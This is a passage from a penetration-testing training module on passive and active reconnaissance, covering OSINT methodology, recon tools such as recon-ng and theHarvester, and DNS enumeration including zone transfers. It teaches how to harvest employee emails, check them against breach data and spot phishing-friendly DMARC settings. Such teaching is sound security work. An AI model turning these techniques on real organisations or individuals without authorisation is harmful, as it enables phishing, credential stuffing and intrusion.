Vulnerability Scanning then uses the intelligence gathered in both recon phases to identify specific security weaknesses in enumerated systems.

Module Topics at a Glance

Section	Topic	Objective
3.1	Performing Passive Reconnaissance	Collect intelligence without touching target systems
3.2	Performing Active Reconnaissance	Directly probe target systems to enumerate infrastructure
3.3	Understanding the Art of Performing Vulnerability Scans	Conduct structured, methodical vulnerability scanning
3.4	Understanding How to Analyze Vulnerability Scan Results	Interpret, prioritize, and act on scan findings

3.1 Performing Passive Reconnaissance

3.1.1 Overview

Passive reconnaissance is the discipline of collecting as much intelligence as possible about a target organization using only publicly available information — information that exists in the open and can be accessed without the target's knowledge.

The term "passive" is critical: during this phase, you generate zero network traffic to the target. No pings. No port scans. No HTTP requests to the target's web server. Every data point is gathered from third-party sources, public databases, archived data, and open web resources.

Why Passive Reconnaissance Matters at the Senior Level

Junior penetration testers often treat reconnaissance as a checklist to complete before getting to the "real work" of exploitation. Senior penetration testers understand that reconnaissance is the work. The penetration testing firm Offensive Security, authors of Kali Linux and creators of the OSCP certification, teach that a penetration tester should spend at least 30-40% of total engagement time on reconnaissance.

The professional reasons:

1. Legal protection: Passive recon is never illegal. Accessing public information carries zero criminal risk, while premature active scanning of the wrong IP address is a CFAA violation.

2. Attack precision: Knowing that a target runs Apache Tomcat 9.0.41 on a specific IP enables you to immediately cross-reference known CVEs. Without this knowledge, you are scanning blindly.

3. Organizational intelligence: Passive recon reveals the human attack surface — executives, IT staff, vendors, technologies in use — enabling social engineering attacks that technical controls cannot stop.

4. Shadow IT discovery: Passive recon routinely reveals subdomains, applications, and cloud assets that the client's IT team does not know exist. These unmanaged assets are frequently the easiest entry points.

5. Timeline intelligence: Web archives reveal what technologies a target used in the past, sometimes exposing legacy systems still in use.

3.1.2 Active Reconnaissance vs. Passive Reconnaissance

Understanding the precise boundary between passive and active reconnaissance is both a technical and a legal necessity.

Passive Reconnaissance — Defined

Passive reconnaissance collects information from sources that are:

Publicly indexed and accessible to anyone
Third-party resources (not the target's own infrastructure)
Archived or cached versions of target information
Volunteered information (press releases, job listings, social media)

The defining test: "Did my action generate any network traffic or log entries on the target's systems?" If no — it is passive.

Examples of passive reconnaissance activities:

Looking up DNS records using a third-party resolver
Searching LinkedIn for employees of the target organization
Examining cached versions of the target's website via Google Cache or Wayback Machine
Reading the target's press releases and annual reports
Searching Shodan for the target's IP ranges
Examining SSL certificate transparency logs
Running WHOIS lookups through a third-party service
Searching GitHub for code related to the target organization
Examining job listings to identify technologies in use
Analyzing file metadata from documents published on the target's website

Active Reconnaissance — Defined

Active reconnaissance involves directly interacting with the target's systems and infrastructure.

The defining test: "Does my action generate network traffic that the target could log, detect, or block?" If yes — it is active.

Examples of active reconnaissance activities:

Port scanning the target's IP addresses (nmap)
Banner grabbing from the target's servers
Sending HTTP requests to the target's web application
Tracerouting to the target's infrastructure
Performing DNS zone transfer attempts against the target's DNS servers
Crawling the target's website
Sending ping probes to the target's IP ranges

The Legal Distinction

This distinction has direct legal implications:

Aspect	Passive Recon	Active Recon
Legal risk	None — accessing public info	Potential CFAA violation if unauthorized
Detection risk	Zero — no target interaction	High — generates logs on target systems
Pre-authorization	Can be performed before authorization is signed	Must only be performed after authorization
Log evidence	No traces on target	Target's IDS/IPS/firewall logs activity
Timing	Can begin day 1 of engagement	Begins only after ROE is signed

Critical professional practice: Many penetration testers begin passive reconnaissance immediately after being engaged — even before the contract is finalized — because it generates zero legal risk and the intelligence gathered informs the scoping conversation with the client.

The Passive-Active Spectrum

Some activities exist in a gray zone:

Activity	Classification	Why
Google search for target domain	Passive	No target interaction
Accessing target's public website	Active	Generates server logs on target
WHOIS via third-party service	Passive	Third party handles the lookup
DNS query via your own resolver	Active	Your resolver queries target's authoritative DNS
DNS query via a third-party tool	Passive	Third party generates the query
Shodan search for target IPs	Passive	Shodan already scanned; you view results
Running nmap against target IP	Active	Direct packets to target
Certificate Transparency logs	Passive	Accessing third-party CT log databases

Understanding this spectrum allows you to plan exactly what can be done before authorization and what requires a signed contract.

3.1.3 The OSINT Methodology — How Professionals Think

OSINT is not random searching. Professional intelligence analysts follow a structured methodology derived from military and intelligence community practices.

The Intelligence Cycle

┌─────────────────────────────────────────────────────────┐
│                   INTELLIGENCE CYCLE                     │
│                                                          │
│  1. PLANNING & DIRECTION                                 │
│     Define intelligence requirements                     │
│     What do we need to know? Why?                       │
│          ↓                                               │
│  2. COLLECTION                                           │
│     Gather raw data from multiple sources               │
│          ↓                                               │
│  3. PROCESSING                                           │
│     Convert raw data into usable format                 │
│          ↓                                               │
│  4. ANALYSIS & PRODUCTION                               │
│     Evaluate, correlate, and interpret data             │
│          ↓                                               │
│  5. DISSEMINATION                                        │
│     Deliver intelligence to decision makers             │
│          ↓                                               │
│  6. FEEDBACK                                            │
│     Refine requirements based on results                │
│          └────────────────────────────────────┘         │
└─────────────────────────────────────────────────────────┘

OSINT Intelligence Requirements for Penetration Testing

At the start of passive recon, define what you need to know:

Infrastructure Intelligence:

What IP address ranges does the organization own?
What domain names and subdomains does the organization operate?
What hosting providers and cloud services does the organization use?
What technologies (web servers, frameworks, databases) are in use?
What externally accessible services are running?

Organizational Intelligence:

Who are the key technical personnel (IT staff, developers, security team)?
What does the organizational chart look like?
What vendors and third-party services does the organization use?
What business units exist and what are their functions?

Human Intelligence (HUMINT):

What are the email address formats used by the organization?
What information do employees publicly share about their work and technologies?
What skills do employees list (revealing technologies in use)?
What security awareness level do employees demonstrate?

Reputational Intelligence:

Has the organization suffered previous data breaches?
What is the organization's public security posture?
Are there leaked credentials in breach databases?
What does the organization's dark web footprint look like?

Historical Intelligence:

What did the organization's infrastructure look like in the past?
What technologies have they used and potentially still use?
What security incidents have been publicly reported?

The Pivot Model

Professional OSINT analysts use a technique called pivoting — using one piece of intelligence to unlock additional intelligence. Every data point discovered can be used to find more:

Organization Name
    ├── Domain Name
    │       ├── IP Addresses (DNS A records)
    │       │       ├── ASN / IP Range
    │       │       │       └── Other IPs in the range → More targets
    │       │       └── Geolocation → Data center / hosting provider
    │       ├── Subdomains
    │       │       └── Each subdomain → New IP → New services
    │       ├── Mail Servers (MX records)
    │       │       └── Email provider → Office 365? G Suite?
    │       └── SSL Certificates
    │               └── Subject Alternative Names → Hidden subdomains
    ├── Executive Names (from LinkedIn)
    │       ├── Email address (using email format)
    │       │       └── Breach data → Leaked passwords → Credential stuffing
    │       └── Social media → Technology disclosures
    └── Job Listings
            └── Technology stack ("requires experience with AWS, Kubernetes, HashiCorp Vault")

This pivot model means that starting with only an organization's name, a skilled analyst can map out the entire attack surface before touching a single target system.

3.1.4 OSINT Tools — The Complete Professional Arsenal

OSINT Framework

Website: https://osintframework.com/

Type: Reference/Navigation Tool

Cost: Free

OSINT Framework is the foundational resource for any OSINT practitioner. Created by Justin Nordine, it is an interactive, hierarchically organized map of hundreds of OSINT tools and techniques, organized by the type of data you have (starting point) and what you want to find.

Structure of OSINT Framework:

The framework is organized as a tree starting from the type of indicator you possess:

OSINT Framework Root
├── Username
│   ├── Username Search Engines (Sherlock, WhatsMyName)
│   ├── Social Networks
│   └── Forums / Communities
├── Email Address
│   ├── Email Reputation
│   ├── Breach Data
│   └── Associated Accounts
├── Domain Name
│   ├── WHOIS Records
│   ├── DNS Records
│   ├── Subdomains
│   └── Website Analysis
├── IP Address
│   ├── Geolocation
│   ├── Reverse DNS
│   └── Network Information
├── Image / Photo
│   ├── Reverse Image Search
│   └── Facial Recognition
├── Phone Number
│   ├── Carrier Lookup
│   └── Social Media Linked
└── ... (hundreds more branches)

How professionals use OSINT Framework:

Start with what you have (e.g., an email address from a job listing)
Navigate to that branch in the framework
Identify which tools are most appropriate for your objective
Execute the tools in sequence, pivoting from each result

Notation in OSINT Framework:

(T) — Tool (requires installation or technical setup)
(D) — Dynamic (content changes based on input)
(R) — Requires registration/account
(M) — Malware warning (use with caution)

OSINT Combine

Website: https://www.osintcombine.com/

Type: Tool collection and automation platform

Cost: Partially free; premium features available

OSINT Combine is a professional-grade platform developed by Australian OSINT specialists containing tools designed for specific, high-value OSINT tasks. It differentiates itself by focusing on automation and efficiency — reducing the manual effort of common OSINT workflows.

Key tools available on OSINT Combine:

Image Metadata Viewer: Extracts and displays EXIF metadata from images (GPS coordinates, camera model, timestamps) directly in the browser without downloading.

Social Media Search: Cross-platform username and content searches designed to overcome the limitations of native platform search interfaces.

Map Searching Tools: Specialized tools for geolocation analysis and map-based OSINT (verifying locations from photos, tracking movements from social media content).

Domain Investigation Tools: DNS history, WHOIS lookups, and subdomain enumeration integrated into a unified workflow.

Bulk Data Processing: Tools for processing large datasets (e.g., processing multiple usernames or email addresses simultaneously).

Professional Application:

OSINT Combine is particularly valuable for:

Social media investigations (identifying accounts across platforms)
Geolocation of images shared by employees (potentially revealing office locations, travel patterns, physical security details)
Bulk processing when handling large employee lists from LinkedIn

SMART — Start.me Aggregated Resource Tool

Website: https://smart.myosint.training/

Type: OSINT bookmark aggregator and search interface

Cost: Free

Created by: My OSINT Training (MOT) Team

SMART solves a specific problem in OSINT practice: the fragmentation of resources. Thousands of practitioners maintain OSINT resource lists on the start.me bookmarking platform. SMART indexes all of these public lists and provides a unified search interface across them.

What makes SMART valuable:

When you are looking for tools related to a specific intelligence requirement — say, "maritime vessel tracking" or "corporate registration databases for Brazil" — SMART quickly surfaces specialized resources that would otherwise require extensive searching.

Use cases:

Finding country-specific OSINT resources (corporate registries, electoral rolls, court records)
Discovering niche tools for specific data types
Building a comprehensive resource list for a specific engagement type

SpiderFoot

Website: https://www.spiderfoot.net/

GitHub: https://github.com/smicallef/spiderfoot

Type: Automated OSINT reconnaissance platform

Cost: Open-source (SpiderFoot HX cloud version has costs)

Installation: pip3 install spiderfoot or from GitHub

SpiderFoot is one of the most powerful automated OSINT tools in existence. It takes a single target indicator (IP address, domain name, email address, person name, or ASN) and automatically queries over 200 data sources to build a comprehensive intelligence profile.

How SpiderFoot Works:

SpiderFoot operates on a modular architecture. Each module queries a specific data source. When one module returns data, it triggers other modules that can use that data as input — creating an automated pivot chain.

Input: targetcompany.com
    ↓
DNS Module → IP addresses: 203.0.113.50, 203.0.113.51
    ↓
IP Whois Module → ASN: AS12345, Organization: Target Company Inc.
    ↓
Netblock Module → Full IP range: 203.0.113.0/24
    ↓
Port Scanner Module → Open ports on all IPs in range
    ↓
Banner Grab Module → Service banners and versions
    ↓
Certificate Module → SSL certs → Subject Alternative Names → New subdomains
    ↓
Shodan Module → Shodan data for each IP
    ↓
Breach Module → Check emails against HaveIBeenPwned
    ... (200+ modules)

SpiderFoot Modules of Highest Value for Penetration Testers:

Module	Data Source	Intelligence Gathered
`sfp_dnsresolve`	DNS	IP addresses for domains
`sfp_ssl`	SSL certificate analysis	Subject alternative names, cert history
`sfp_shodan`	Shodan API	Open ports, services, banners
`sfp_whois`	WHOIS	Registrant info, nameservers
`sfp_hunter`	Hunter.io	Email addresses from domain
`sfp_hibp`	HaveIBeenPwned	Breach exposure of emails
`sfp_linkedin`	LinkedIn	Employee names and roles
`sfp_github`	GitHub	Source code, credentials, configs
`sfp_pastebin`	Pastebin	Leaked data mentioning target
`sfp_virustotal`	VirusTotal	URL/IP reputation, malware association
`sfp_threatcrowd`	ThreatCrowd	Threat intelligence correlation
`sfp_googlesearch`	Google	Indexed pages, exposed files

Running SpiderFoot:

# Install
pip3 install spiderfoot

# Launch web interface
spiderfoot -l 127.0.0.1:5001

# Command line scan
spiderfoot -s targetcompany.com -t INTERNET_NAME -o json -q

# Scan with specific modules only
spiderfoot -s targetcompany.com -m sfp_dns,sfp_ssl,sfp_shodan -o json

# Full passive scan (no active modules)
spiderfoot -s targetcompany.com --type passive -o json

SpiderFoot vs. Manual OSINT:

Approach	Time for Full Domain Recon	Breadth
Manual OSINT	4-8 hours	Depends on analyst skill
SpiderFoot automated	15-45 minutes	200+ sources automatically

SpiderFoot does not replace human analysis — it accelerates data collection so the analyst can focus on interpretation and pivoting.

Recon-ng

GitHub: https://github.com/lanmaster53/recon-ng

Documentation: https://github.com/lanmaster53/recon-ng/wiki

Type: Modular web reconnaissance framework

Cost: Free / Open-source

Platform: Linux (included in Kali Linux)

Created by: Tim Tomes (LaNMaSteR53)

Recon-ng is a full-featured web reconnaissance framework written in Python. Its design is deliberately modeled after Metasploit — experienced penetration testers who know Metasploit will find recon-ng immediately familiar. It provides a powerful, module-based CLI for conducting systematic OSINT campaigns.

Why recon-ng is a professional standard:

Database backend: All results are stored in a local SQLite database, enabling complex queries, cross-referencing, and persistent storage across sessions
Workspace isolation: Create separate workspaces for each client engagement, keeping data cleanly separated
Module ecosystem: Hundreds of modules covering every aspect of OSINT
API key management: Centralized management of API keys for services like Shodan, VirusTotal, Hunter.io
Reporting: Built-in report generation from collected data
Automation: Scripting capability for repeatable reconnaissance workflows

recon-ng Core Concepts:

Workspaces: Isolated databases for each engagement

[recon-ng][default] > workspaces create client_target_co
[recon-ng][client_target_co] >

Modules: The intelligence-gathering engines

[recon-ng][client_target_co] > modules search domains
[*] Searching for 'domains'...

  Discovery
  ---------
    discovery/info_disclosure/interesting_files

  Recon
  -----
    recon/domains-contacts/hunter_io
    recon/domains-credentials/pwnedlist_domain_credentials
    recon/domains-domains/brute_suffix
    recon/domains-hosts/bing_domain_web
    recon/domains-hosts/brute_hosts
    recon/domains-hosts/certificate_transparency
    recon/domains-hosts/google_site_web
    recon/domains-hosts/netcraft
    recon/domains-hosts/shodan_hostname
    recon/domains-hosts/ssl_san
    recon/domains-vulnerabilities/punkspider
    recon/domains-vulnerabilities/xssed
    recon/domains-vulnerabilities/xssposed

The recon-ng Module Naming Convention:

category/subcategory/source

recon/domains-hosts/certificate_transparency
 │         │              │
 │         │              └── Data source used
 │         └── What you HAVE → What you GET (domains → hosts)
 └── Module category

Common recon-ng Workflow:

# Launch recon-ng
recon-ng

# Create workspace for engagement
workspaces create targetco_engagement_2024

# Add seed domain
db insert domains targetco.com

# Find subdomains via certificate transparency
modules load recon/domains-hosts/certificate_transparency
run

# Find subdomains via Bing
modules load recon/domains-hosts/bing_domain_web
run

# Resolve all discovered hosts to IPs
modules load recon/hosts-hosts/resolve
run

# Find email addresses for domain
modules load recon/domains-contacts/hunter_io
options set SOURCE targetco.com
run

# Check emails against breach data
modules load recon/contacts-credentials/hibp_breach
run

# Generate HTML report
modules load reporting/html
options set FILENAME /tmp/targetco_recon_report.html
run

High-Value recon-ng Modules:

Module	Input	Output
`recon/domains-hosts/certificate_transparency`	Domain	Subdomains from CT logs
`recon/domains-hosts/shodan_hostname`	Domain	IPs and ports from Shodan
`recon/domains-hosts/brute_hosts`	Domain	Subdomain brute force
`recon/domains-contacts/hunter_io`	Domain	Email addresses
`recon/contacts-credentials/hibp_breach`	Email	Breach data
`recon/hosts-ports/shodan_ip`	IP Address	Open ports from Shodan
`recon/netblocks-companies/whois_orgs`	Netblock	Organization info
`recon/companies-multi/whois_miner`	Company	All WHOIS data
`recon/profiles-profiles/linkedin_auth`	LinkedIn URL	Profile details

recon-ng API Key Setup:

recon-ng requires API keys for many of its most powerful modules:

keys add shodan_api [YOUR_KEY]
keys add hunter_api [YOUR_KEY]
keys add virustotal_api [YOUR_KEY]
keys add censys_id [YOUR_ID]
keys add censys_secret [YOUR_SECRET]

Maltego

Website: https://www.maltego.com/

Type: Visual intelligence and link analysis platform

Cost: Community (free, limited), Pro ($999/year), Enterprise

Platform: Cross-platform (Windows, macOS, Linux)

Maltego is the industry-standard tool for visual OSINT analysis and link analysis. Unlike CLI tools, Maltego presents intelligence graphically — as a network graph showing relationships between entities (people, organizations, domains, IPs, emails, social profiles).

Why Maltego is used at the enterprise level:

Visual relationship mapping: Instantly reveals connections between entities that would take hours to identify in text-based tools
Transform-based automation: "Transforms" are automated queries that expand the graph with new intelligence
Maltego Transform Hub: Marketplace of transforms from commercial data providers (Shodan, Have I Been Pwned, VirusTotal, etc.)
Collaboration: Teams can share investigation graphs
Evidence preservation: The graph is a defensible record of the investigation methodology

Core Maltego Entity Types:

Person, EmailAddress, PhoneNumber, Organization
Domain, URL, Website, DNSName, NSRecord, MXRecord
IPv4Address, Netblock, ASNumber
Social media profiles (Twitter, LinkedIn, Facebook)
File, Document, Phrase

Professional Maltego Workflow:

Add seed entity (e.g., targetco.com as a Domain entity)
Run DNS transforms → discovers A, MX, NS records + IP addresses
Run WHOIS transforms → discovers registrant info
Run SSL transforms → discovers Subject Alternative Names (new subdomains)
Run email transforms → discovers email addresses (via Hunter.io, etc.)
Run breach transforms → checks emails against HaveIBeenPwned
Run social media transforms → finds LinkedIn/Twitter profiles
Run Shodan transforms → enriches IP data with port/service information

The result is a comprehensive, visual map of the target's entire digital presence and the relationships between all discovered entities.

theHarvester

GitHub: https://github.com/laramies/theHarvester

Type: Email and subdomain harvester

Cost: Free / Open-source

Platform: Linux (included in Kali Linux)

theHarvester is one of the oldest and most reliable passive reconnaissance tools. Its specific focus is gathering email addresses, subdomains, and employee names from multiple public data sources.

Data Sources Supported:

Source	What it Finds
Google	Emails, subdomains, hosts
Bing	Emails, subdomains, hosts
DuckDuckGo	Emails, hosts
LinkedIn	Employee names
Twitter	Usernames, emails
Shodan	Hosts, open ports
CertSpotter	Subdomains via CT logs
DNSdumpster	DNS info, subdomains
Netcraft	Subdomains
VirusTotal	Subdomains
Hunter.io	Emails
Intelx	Emails, hosts (requires API key)

Usage:

# Basic domain email and subdomain harvest
theHarvester -d targetco.com -b all

# Specific data sources
theHarvester -d targetco.com -b google,linkedin,shodan

# Limit results and save to file
theHarvester -d targetco.com -b all -l 500 -f /tmp/harvest_results.html

# Include subdomains in search
theHarvester -d targetco.com -b all -s

# Specify virtual host verification
theHarvester -d targetco.com -b all -v

What theHarvester Discovers:

[*] Emails found: 23
--------------------------------------------------
j.smith@targetco.com
a.johnson@targetco.com
m.williams@targetco.com
security@targetco.com
admin@targetco.com

[*] Hosts found: 47
--------------------------------------------------
mail.targetco.com:203.0.113.10
vpn.targetco.com:203.0.113.15
dev.targetco.com:10.0.1.100  ← Shadow IT discovery
staging.targetco.com:203.0.113.20  ← Pre-production environment

The discovery of dev.targetco.com and staging.targetco.com — development and staging servers — is one of the most valuable passive recon findings. These environments frequently have weaker security controls than production systems.

Sherlock

GitHub: https://github.com/sherlock-project/sherlock

Type: Username cross-platform search tool

Cost: Free / Open-source

Sherlock searches for a specific username across 300+ social media platforms and websites simultaneously. This is invaluable for:

Finding all public profiles associated with an employee's known username
Identifying personal accounts that may disclose sensitive information
Building a complete social profile of a target individual

# Install
pip3 install sherlock-project

# Search for username
sherlock johndoe_security

# Multiple usernames
sherlock johndoe johndoe_security j.doe

# Specify output file
sherlock johndoe --output /tmp/johndoe_results.txt

hacker.org

Website: https://hacker.org/

Type: Cybersecurity skill development platform / CTF-style challenges

Cost: Free (registration required for challenges)

hacker.org is a training and practice platform designed for developing offensive security skills through hands-on challenges. It is categorized as a skill development resource rather than an OSINT data source, but it is relevant to the information gathering module because it develops the analytical and technical thinking required for reconnaissance.

What hacker.org offers:

Programming challenges: Logic and algorithm problems requiring code solutions
Cryptography challenges: Breaking and implementing cryptographic systems
Web security challenges: Finding and exploiting web vulnerabilities in safe, legal environments
Network analysis challenges: Analyzing packet captures and network protocols
Steganography challenges: Finding hidden data in images and files
CTF-style progressions: Increasing difficulty levels that build systematically on each other

How it builds reconnaissance skills:

Many reconnaissance techniques require exactly the analytical skills developed on hacker.org:

Identifying hidden information in files and images (steganography → file metadata analysis)
Understanding cryptographic weaknesses (crypto challenges → SSL/TLS vulnerability identification)
Finding information in unexpected places (web challenges → advanced Google dorking)
Scripting and automation (programming challenges → automated OSINT tool development)

Professional positioning: hacker.org and similar platforms (Hack The Box, TryHackMe, PicoCTF) are increasingly referenced in job interviews as evidence of hands-on skill development.

3.1.5 DNS Lookups — Deep Dive

The Domain Name System (DNS) is one of the most information-rich sources available during passive reconnaissance. DNS records publicly document an organization's infrastructure in ways most organizations do not fully appreciate.

DNS Fundamentals — What Every Senior Penetration Tester Must Know

DNS translates human-readable domain names into machine-readable IP addresses. But its function extends far beyond simple name resolution — it is a distributed database containing multiple record types that reveal extensive infrastructure intelligence.

DNS Architecture:

Client Query: "What is the IP of www.targetco.com?"

Resolver (Recursive DNS Server)
    ↓ (queries if not cached)
Root Name Server → "Ask .com TLD servers"
    ↓
.com TLD Server → "Ask targetco.com's authoritative name servers"
    ↓
Authoritative NS for targetco.com → "203.0.113.50"
    ↓
Answer returned to client: 203.0.113.50

Intelligence value at each layer:

Root server queries: Reveal what TLD the organization uses (.com, .gov, .mil, .co.uk — indicates jurisdiction)
Authoritative name servers: Reveal DNS hosting provider (AWS Route 53, Cloudflare, GoDaddy — intelligence about infrastructure providers)
DNS record types: Each type reveals specific infrastructure details

Complete DNS Record Type Reference

A Record (Address Record)

Maps a hostname to an IPv4 address. The most fundamental DNS record.

# Query A record
dig targetco.com A
nslookup targetco.com

# Response
targetco.com.    300    IN    A    203.0.113.50

Intelligence value:

The IP address enables further intelligence gathering (Shodan, WHOIS for the IP, geolocation)
The TTL (Time To Live, in seconds — here: 300 seconds = 5 minutes) reveals caching behavior; very low TTLs suggest load balancing or CDN use; very high TTLs suggest static infrastructure
Multiple A records for the same hostname indicate load balancing or CDN

AAAA Record (IPv6 Address Record)

Maps a hostname to an IPv6 address. Organizations increasingly deploy IPv6, and IPv6 addresses are often less well-monitored than IPv4.

dig targetco.com AAAA

Intelligence value:

IPv6 often reveals direct IP addresses even when IPv4 is behind a CDN (like Cloudflare)
IPv6 address blocks often reveal the organization's ISP or hosting provider
Organizations frequently apply less rigorous security controls to IPv6 paths

MX Record (Mail Exchanger Record)

Specifies the mail servers responsible for accepting email for a domain.

dig targetco.com MX

# Response
targetco.com.    3600    IN    MX    10    mail1.targetco.com.
targetco.com.    3600    IN    MX    20    mail2.targetco.com.
targetco.com.    3600    IN    MX    30    aspmx.l.google.com.   ← G Suite!

Intelligence value:

Reveals email provider (Google Workspace, Microsoft 365, self-hosted Exchange)
Google Workspace indicators: aspmx.l.google.com, alt1.aspmx.l.google.com
Microsoft 365 indicators: targetco-com.mail.protection.outlook.com
Self-hosted Exchange: Typically a subdomain like mail.targetco.com pointing to a corporate IP
Email platform reveals authentication methods, phishing opportunities, and password spray targets
Backup MX records (lower priority, higher number) sometimes point to less-secure mail relay servers

NS Record (Name Server Record)

Identifies the authoritative DNS servers for a domain.

dig targetco.com NS

# Response
targetco.com.    86400    IN    NS    ns1.targetco.com.
targetco.com.    86400    IN    NS    ns2.targetco.com.

# OR (revealing DNS hosting provider)
targetco.com.    86400    IN    NS    ns-1234.awsdns-12.com.     ← AWS Route 53
targetco.com.    86400    IN    NS    ns-5678.awsdns-34.co.uk.

Intelligence value:

Reveals DNS hosting provider (AWS Route 53, Cloudflare, Azure DNS, Google Cloud DNS)
Self-hosted NS records (ns1.targetco.com) reveal additional IP addresses to investigate
DNS provider may have security implications (DNS hijacking attacks target specific providers)
Cloudflare NS records often mean IPv4 addresses are proxied/hidden

SOA Record (Start of Authority)

Contains administrative information about a DNS zone, including the primary name server and the email address of the zone administrator.

dig targetco.com SOA

# Response
targetco.com.    3600    IN    SOA    ns1.targetco.com. dnsadmin.targetco.com. (
                                      2024010101  ; Serial
                                      3600        ; Refresh
                                      900         ; Retry
                                      604800      ; Expire
                                      300 )       ; Minimum TTL

Intelligence value:

dnsadmin.targetco.com — The second field is the DNS administrator's email address (replace the first . with @): dnsadmin@targetco.com
This is a direct email address for a technical administrator
Serial number format often reveals the last update date (common format: YYYYMMDDNN)

TXT Record (Text Record)

A versatile record type containing arbitrary text. Used for numerous verification and configuration purposes.

dig targetco.com TXT

# Common responses
targetco.com.    3600    IN    TXT    "v=spf1 include:_spf.google.com include:sendgrid.net ip4:203.0.113.50 ~all"
targetco.com.    3600    IN    TXT    "MS=ms12345678"
targetco.com.    3600    IN    TXT    "google-site-verification=AbCdEfGhIjKlMnOpQrStUvWxYz"
targetco.com.    3600    IN    TXT    "atlassian-domain-verification=AbCdEf12345"

Intelligence value — TXT records are a goldmine:

TXT Record Content	Intelligence Revealed
`v=spf1 include:_spf.google.com`	Uses Google Workspace for email
`v=spf1 include:sendgrid.net`	Uses SendGrid for marketing emails
`v=spf1 include:_spf.salesforce.com`	Uses Salesforce (email integration)
`v=spf1 ip4:203.0.113.50`	Mail server IP (direct IP revelation)
`MS=ms12345678`	Microsoft 365 domain verification — organization is on Microsoft 365
`google-site-verification=...`	Google Search Console verification — uses Google services
`atlassian-domain-verification=...`	Uses Atlassian products (Jira, Confluence, Bitbucket)
`docusign=...`	Uses DocuSign for e-signatures
`stripe-verification=...`	Uses Stripe for payments (financial data!)
`facebook-domain-verification=...`	Facebook/Meta advertising integration
`_dmarc` (separate record)	DMARC policy (reveals email security posture)

DMARC Record:

dig _dmarc.targetco.com TXT

# Response options
"v=DMARC1; p=none; rua=mailto:dmarc@targetco.com"    ← No enforcement (easy phishing)
"v=DMARC1; p=quarantine; ..."                          ← Moderate protection
"v=DMARC1; p=reject; ..."                              ← Strong protection

# p=none means phishing emails spoofing @targetco.com will be DELIVERED

DMARC intelligence:

p=none — The organization does not enforce DMARC. Spoofed emails using their domain will be delivered to recipients. Directly relevant to phishing pre-text design.
The rua (reporting URI) reveals an email address for DMARC reports — a real internal email address.

SPF Record Analysis:

dig targetco.com TXT | grep spf

# v=spf1 include:_spf.google.com include:sendgrid.net include:_spf.salesforce.com ip4:203.0.113.0/24 ip6:2001:db8::/32 ~all

This single SPF record reveals:

Google Workspace (corporate email)
SendGrid (marketing/transactional email — phishing campaigns often come from here)
Salesforce (CRM platform)
Direct IP range 203.0.113.0/24 (mail server IPs)
IPv6 range 2001:db8::/32

CNAME Record (Canonical Name Record)

Maps one hostname to another hostname (an alias).

dig www.targetco.com CNAME

# Responses
www.targetco.com.    300    IN    CNAME    targetco.com.
www.targetco.com.    300    IN    CNAME    d1234567890.cloudfront.net.    ← CloudFront CDN
www.targetco.com.    300    IN    CNAME    targetco.azurewebsites.net.    ← Azure App Service
www.targetco.com.    300    IN    CNAME    targetco.github.io.            ← GitHub Pages

Intelligence value:

Reveals content delivery networks (CloudFront, Cloudflare, Fastly, Akamai)
Reveals cloud hosting services (Azure Web Apps, AWS Elastic Beanstalk, Heroku, GitHub Pages)
CNAMEs to third-party services reveal vendor relationships
Subdomain takeover: If a CNAME points to a third-party service that is no longer configured, the subdomain may be vulnerable to takeover

PTR Record (Pointer Record / Reverse DNS)

Maps an IP address back to a hostname. The reverse of an A record.

# Reverse DNS lookup
dig -x 203.0.113.50
nslookup 203.0.113.50

# Response
50.113.0.203.in-addr.arpa.    3600    IN    PTR    mail.targetco.com.

Intelligence value:

Reveals the hostname associated with an IP address
Particularly valuable when you have an IP from a log, packet capture, or other source and need to identify the system
Reveals infrastructure naming conventions (the pattern used in mail.targetco.com vs web01.prod.targetco.com reveals a lot about internal structure)

SRV Record (Service Record)

Specifies the location (hostname and port) of servers for specific services.

dig _sip._tcp.targetco.com SRV
dig _autodiscover._tcp.targetco.com SRV
dig _xmpp-server._tcp.targetco.com SRV

# Response
_autodiscover._tcp.targetco.com.    3600    IN    SRV    0 0 443 autodiscover.targetco.com.

Intelligence value:

_autodiscover._tcp → Microsoft Exchange/Office 365 autodiscovery — confirms Microsoft 365 and reveals Exchange server
_sip._tcp → SIP/VoIP server → Voice over IP infrastructure
_xmpp-server._tcp → XMPP/Jabber server → Instant messaging
_kerberos._tcp → Kerberos → Active Directory present (major finding)
_ldap._tcp → LDAP → Active Directory present

CAA Record (Certification Authority Authorization)

Specifies which Certificate Authorities (CAs) are authorized to issue SSL/TLS certificates for the domain.

dig targetco.com CAA

# Response
targetco.com.    3600    IN    CAA    0 issue "letsencrypt.org"
targetco.com.    3600    IN    CAA    0 issue "digicert.com"
targetco.com.    3600    IN    CAA    0 issuewild "digicert.com"

Intelligence value:

Reveals which CAs the organization uses → cert monitoring strategy
If Let's Encrypt only → likely smaller/budget-conscious operations
If DigiCert/Sectigo/Entrust → enterprise-grade certificates
Absence of CAA records means any CA can issue certificates → higher phishing certificate risk

3.1.6 DNS Reconnaissance — Advanced Techniques

Zone Transfer (AXFR)

A DNS zone transfer is the mechanism by which DNS servers replicate zone data to secondary servers. If misconfigured, a zone transfer can be requested by anyone, returning the complete list of all DNS records in the zone.

Attempting a zone transfer:

# Identify nameservers first
dig targetco.com NS

# Attempt zone transfer from each nameserver
dig axfr targetco.com @ns1.targetco.com
dig axfr targetco.com @ns2.targetco.com

# Using nslookup
nslookup
> server ns1.targetco.com
> ls -d targetco.com

Successful zone transfer result:

; <<>> DiG 9.18.0 <<>> axfr targetco.com @ns1.targetco.com
targetco.com.        86400    IN    SOA    ns1.targetco.com. admin.targetco.com. ...
targetco.com.        86400    IN    NS     ns1.targetco.com.
targetco.com.        86400    IN    A      203.0.113.50
www.targetco.com.    86400    IN    A      203.0.113.50
mail.targetco.com.   86400    IN    A      203.0.113.10
vpn.targetco.com.    86400    IN    A      203.0.113.15
dev.targetco.com.    86400    IN    A      10.0.1.100
staging.targetco.com. 86400  IN    A      203.0.113.20
db01.targetco.com.   86400    IN    A      10.0.1.200
internal.targetco.com. 86400 IN    A      10.0.0.1

This instantly reveals the entire internal network structure. Zone transfers are considered active reconnaissance (you're querying the target's DNS server), but the information returned is public (just poorly protected).

Note: Most modern, properly configured DNS servers restrict zone transfers to specific secondary server IPs. Zone transfer success is itself a critical vulnerability finding.

DNS Brute Forcing

When zone transfers fail (as they usually should), subdomain discovery is accomplished by brute forcing — querying the target's DNS server with a list of common subdomain names.

# Using dnsx
dnsx -d targetco.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Using ffuf for DNS brute forcing
